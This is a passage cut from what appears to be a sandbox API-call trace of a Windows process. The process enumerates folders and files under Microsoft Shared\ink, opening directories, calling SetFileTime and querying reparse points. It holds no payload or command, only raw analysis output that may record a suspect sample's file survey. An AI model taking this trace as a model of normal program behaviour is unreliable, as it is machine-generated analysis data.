ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.531] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.531] GetLastError () returned 0x12 [0049.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.531] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.531] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0049.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0049.532] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.532] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.532] NtClose (Handle=0x190) returned 0x0 [0049.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.532] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0049.532] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.532] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf91070 [0049.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94980 [0049.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.532] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.532] GetLastError () returned 0x12 [0049.532] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.533] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.533] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.533] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.533] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.533] GetLastError () returned 0x12 [0049.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.533] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.533] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0049.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0049.533] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.533] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.534] NtClose (Handle=0x184) returned 0x0 [0049.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.534] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.534] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.534] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf91090 [0049.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94a88 [0049.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0049.534] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.534] GetLastError () returned 0x12 [0049.534] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0049.534] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.534] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.534] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.535] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.535] GetLastError () returned 0x12 [0049.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.535] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.535] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0049.535] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0049.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0049.565] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.566] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.566] NtClose (Handle=0x190) returned 0x0 [0049.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.566] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94b90 [0049.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0049.566] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.566] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.566] GetLastError () returned 0x12 [0049.566] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.566] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.566] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.566] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.566] GetLastError () returned 0x12 [0049.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf94b90) returned 1 [0049.566] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.566] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, 